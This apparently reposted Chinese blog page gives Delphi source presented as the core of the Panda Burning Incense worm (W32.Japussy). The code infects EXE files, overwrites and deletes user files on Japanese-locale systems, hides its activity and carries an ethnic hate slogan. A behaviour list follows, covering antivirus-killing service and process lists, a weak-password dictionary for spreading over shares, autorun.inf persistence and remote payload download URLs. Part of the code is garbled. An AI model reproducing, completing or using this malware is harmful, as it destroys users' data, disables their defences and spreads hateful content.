熊猫烧香核心代码

 

  
  
  
  
  1. program Japussy;uses  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};const  HeaderSize = 82432;                  //病毒体的大小  IconOffset = $12EB8;                 //PE文件主图标的偏移量    //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同  //查找2800000020的十六进制字符串可以找到主图标的偏移量   {  HeaderSize = 38912;                  //Upx压缩过病毒体的大小  IconOffset = $92BC;                  //Upx压缩过PE文件主图标的偏移量    //Upx 1.24W 用法: upx -9 --8086 Japussy.exe}  IconSize   = $2E8;                   //PE文件主图标的大小--744字节  IconTail   = IconOffset + IconSize;  //PE文件主图标的尾部  ID         = $44444444;              //感染标记    //垃圾码,以备写入  Catchword = 'If a race need to be killed out, it must be Yamato. ' +              'If a country need to be destroyed, it must be Japan! ' +              '*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;   stdcall; external 'Kernel32.dll'; //函数声明var  TmpFile: string;  Si:      STARTUPINFO;  Pi:      PROCESS_INFORMATION;  IsJap:   Boolean = False; //日文操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;var  Ver: TOSVersionInfo;begin  Result := False;  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);  if not GetVersionEx(Ver) then    Exit;  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x    Result := True;end;{ 在流之间复制 }procedure CopyStream(Src=\'#\'" //跳过头部的病毒部分        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);      finally        dStream.Free;      end;    finally      sStream.Free;    end;  except  end;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);begin  Si.cb := SizeOf(Si);  Si.lpReserved := nil;  Si.lpDesktop := nil;  Si.lpTitle := nil;  Si.dwFlags := STARTF_USESHOWWINDOW;  Si.wShowWindow := State;  Si.cbReserved2 := 0;  Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin  //哪位仁兄愿意完成之?end;{ 感染PE文件 }procedure InfectOneFile(FileName: string);var  HdrStream, SrcStream: TFileStream;  IcoStream, DstStream: TMemoryStream;  iID: LongInt;  aIcon: TIcon;  Infected, IsPE: Boolean;  i: Integer;  Buf: array[0..1] of Char;begin  try //出错则文件正在被使用,退出    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染      Exit;    Infected := False;    IsPE     := False;    SrcStream := TFileStream.Create(FileName, fmOpenRead);    try      for i := 0 to $108 do //检查PE文件头      begin        SrcStream.Seek(i, soFromBeginning);        SrcStream.Read(Buf, 2);        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记        begin          IsPE := True; //是PE文件          Break;        end;      end;      SrcStream.Seek(-4, soFromEnd); //检查感染标记      SrcStream.Read(iID, 4);      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染        Infected := True;    finally      SrcStream.Free;    end;    if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出      Exit;    IcoStream := TMemoryStream.Create;    DstStream := TMemoryStream.Create;    try      aIcon := TIcon.Create;      try        //得到被感染文件的主图标(744字节),存入流        aIcon.ReleaseHandle;        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);        aIcon.SaveToStream(IcoStream);      finally        aIcon.Free;      end;      SrcStream := TFileStream.Create(FileName, fmOpenRead);      //头文件      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);      try        //写入病毒体主图标之前的数据        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);        //写入目前程序的主图标        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);        //写入病毒体主图标到病毒体尾部之间的数据        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);        //写入宿主程序        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);        //写入已感染的标记        DstStream.Seek(0, 2);        iID := $44444444;        DstStream.Write(iID, 4);      finally        HdrStream.Free;      end;    finally      SrcStream.Free;      IcoStream.Free;      DstStream.SaveToFile(FileName); //替换宿主文件      DstStream.Free;    end;  except;  end;end;{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);var  FileHandle: Integer;  i, Size, Mass, Max, Len: Integer;begin  try    SetFileAttributes(PChar(FileName), 0); //去掉只读属性    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件    try      Size := GetFileSize(FileHandle, nil); //文件大小      i := 0;      Randomize;      Max := Random(15); //写入垃圾码的随机次数      if Max < 5 then        Max := 5;      Mass := Size div Max; //每个间隔块的大小      Len := Length(Catchword);      while i < Max do      begin        FileSeek(FileHandle, i * Mass, 0); //定位        //写入垃圾码,将文件彻底破坏掉        FileWrite(FileHandle, Catchword, Len);        Inc(i);      end;    finally      FileClose(FileHandle); //关闭文件    end;    DeleteFile(PChar(FileName)); //删除之  except  end;end;{ 获得可写的驱动器列表 }function GetDrives: string;var  DiskType: Word;  D: Char;  Str: string;  i: Integer;begin  for i := 0 to 25 do //遍历26个字母  begin    D := Chr(i + 65);    Str := D + ':';    DiskType := GetDriveType(PChar(Str));    //得到本地磁盘和网络盘    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then      Result := Result + D;  end;end;{ 遍历目录,感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);var  i, Count: Integer;  Fn, Ext: string;  SubDir: TStrings;  SearchRec: TSearchRec;  Msg: TMsg;  function IsValidDir(SearchRec: TSearchRec): Integer;  begin    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and      (SearchRec.Name <> '..') then      Result := 0 //不是目录    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and      (SearchRec.Name <> '..') then        Result := 1 //不是根目录    else Result := 2; //是根目录  end;begin  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then  begin    repeat      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑      if IsValidDir(SearchRec) = 0 then      begin        Fn := Path + SearchRec.Name;        Ext := UpperCase(ExtractFileExt(Fn));        if (Ext = '.EXE') or (Ext = '.SCR') then        begin          InfectOneFile(Fn); //感染可执行文件                end        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then        begin          //感染HTML和ASP文件,将Base64编码后的病毒写入          //感染浏览此网页的所有用户          //哪位大兄弟愿意完成之?        end        else if Ext = '.WAB' then //Outlook地址簿文件        begin          //获取Outlook邮件地址        end        else if Ext = '.ADC' then //Foxmail地址自动完成文件        begin          //获取Foxmail邮件地址        end        else if Ext = 'IND' then //Foxmail地址簿文件        begin          //获取Foxmail邮件地址        end        else         begin          if IsJap then //是倭文操作系统          begin            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or              (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or              (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or              (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or              (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or              (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then                SmashFile(Fn); //摧毁文件          end;        end;      end;      //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑      Sleep(200);    until (FindNext(SearchRec) <> 0);  end;  FindClose(SearchRec);  SubDir := TStringList.Create;  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then  begin    repeat      if IsValidDir(SearchRec) = 1 then        SubDir.Add(SearchRec.Name);    until (FindNext(SearchRec) <> 0);    end;  FindClose(SearchRec);  Count := SubDir.Count - 1;  for i := 0 to Count do    LoopFiles(Path + SubDir.Strings[i] + '', Mask);  FreeAndNil(SubDir);end;{ 遍历磁盘上所有的文件 }procedure InfectFiles;var  DriverList: string;  i, Len: Integer;begin  if GetACP = 932 then //日文操作系统    IsJap := True; //去死吧!  DriverList := GetDrives; //得到可写的磁盘列表  Len := Length(DriverList);  while True do //死循环  begin    for i := Len downto 1 do //遍历每个磁盘驱动器      LoopFiles(DriverList[i] + ':', '*.*'); //感染之    SendMail; //发带毒邮件    Sleep(1000 * 60 * 5); //睡眠5分钟  end;end;{ 主程序开始 }begin  if IsWin9x then //是Win9x    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程  else //WinNT  begin    //远程线程映射到Explorer进程    //哪位兄台愿意完成之?  end;  //如果是原始病毒体自己  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then    InfectFiles //感染和发邮件  else //已寄生于宿主程序上了,开始工作  begin    TmpFile := ParamStr(0); //创建临时文件    Delete(TmpFile, Length(TmpFile) - 4, 4);    TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格    ExtractFile(TmpFile); //分离之    FillStartupInfo(Si, SW_SHOWDEFAULT);    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,      0, nil, '.', Si, Pi); //创建新进程运行之    InfectFiles; //感染和发邮件  end;end.   
  2.  
  3. 本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/linkboy2004/archive/2007/01/26/1495200.aspx 

1.针对查杀熊猫最猛烈的超级巡警
2.同样的文件名(GameSetup.exe),这点很明显,感染熊猫的共享木马下必有这个文件,杀软报的也就这个
3.猜解字典一样
4.Autorun模式一样

每隔2秒改写一次主页:www.51.vc
每隔6秒关闭以下服务:
Schedule
sharedaccess
RsCCenter
RsRavMon
KVWSC
KVSrvXP
kavsvc
AVP
McAfeeFramework
McShield
McTaskManager
删除以下注册表:
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/RavTask
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/KvMonXP
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/kav
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/KAVPersonal50
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/McAfeeUpdaterUI
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Network Associates Error Reporting Service
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/ShStatEXE
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/YLive.exe( :D)
SOFTWARE/Microsoft/Windows/CurrentVersion/Run/yassistse
停止并删除以下服务:
RsCCenter
RsRavMon
KVWSC
KVSrvXP
AVP
kavsvc
McAfeeFramework
McShield
McTaskManager
navapsvc
wscsvc
KPfwSvc
SNDSrvc
ccProxy
ccEvtMgr
ccSetMgr
SPBBCSvc
Symantec Core LC
NPFMntor
MskService
FireSvc
每隔20分钟弹出IE,地址:www.51.vc
创建线程,关闭以下窗口:
VirusScan
NOD32
系统配置实用程序
Symantec AntiVirus
Windows 任务管理器
esteem procs
System Safety Monitor
System Repair Engineer
Wrapped gift Killer
Winsock Expert
游戏木马检测大师
超级巡警
pjf(ustc)
msctls_statusbar32
IceSword
天网防火墙
进程
网镖
杀毒
毒霸
瑞星
木马清道夫
注册表编辑器
Duba
卡巴斯基反病毒
绿鹰PC
木马辅助查找器
噬菌体
密码防盗
超级兔子
黄山IE
木�R清道夫
关闭以下程序:
Mcshieid.exe
VsTskMgr.exe
naPrdMgr.exe
UpdaterUI.exe
TBMon.exe
scan32.exe
Ravmond.exe
CCenter.exe
RavTask.exe
Rav.exe
Ravmon.exe
RavmonD.exe
RavStub.exe
KVXP.kxp
KvMonXP.kxp
KVCenter.kxp
KVSrvXP.exe
KRegEx.exe
UIHost.exe
TrojDie.kxp
FrogAgent.exe
Logo1_.exe
Logo_1.exe
Rundl132.exe
使用以下弱密码探测共享并试图传自己为GameSetup.exe过去:
password
1234
6969
harley
123456
golf
pussy
mustang
1111
shadow
1313
fish
5150
7777
qwerty
baseball
2112
letmein
12345678
12345
ccc
admin
5201314
qq520
1
12
123
1234567
123456789
654321
54321
111
000000
abc
pw
11111111
88888888
pass
passwd
database
abcd
abc123
sybase
123qwe
server
computer
520
super
123asd
0
ihavenopass
godblessyou
enable
xp
2002
2003
2600
alpha
110
111111
121212
123123
1234qwer
123abc
007
a
aaa
patrick
pat
administrator
root
sex
god
foobar
secret
test
test123
temp
temp
win
pc
asdf
qwer
yxcv
zxcv
home
xxx
owner
login
Login
pw123
love
mypc
mypc123
admin123
mypass
mypass123
901100
Administrator
Guest
admin
Root

把自己复制到:
/Documents and Settings/All Users/「开始」菜单/程序/启动/
/Documents and Settings/All Users/Start Menu/Programs/Startup/
/WINDOWS/Start Menu/Programs/Startup/
/WINNT/Profiles/All Users/Start Menu/Programs/Startup/
连接:
http://www.ac86.cn/88/down/up.txt 其中包括熊猫烧香
http://update.whboy.net/ie.txt 已无法访问
下载文件中的病毒程序

每隔8秒死循环访问如下网站:
tom.com
163.com
souhu.com
google.com
yahoo.com

每隔6秒向各盘根目录下释放如下文件
autorun.inf
内容:
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell/Auto/command=setup.exe
setup.exe(自己的安装exe)

以下是whboy.net的域名信息

 

 

你可能感兴趣的:(代码,核心,休闲,熊猫,烧香)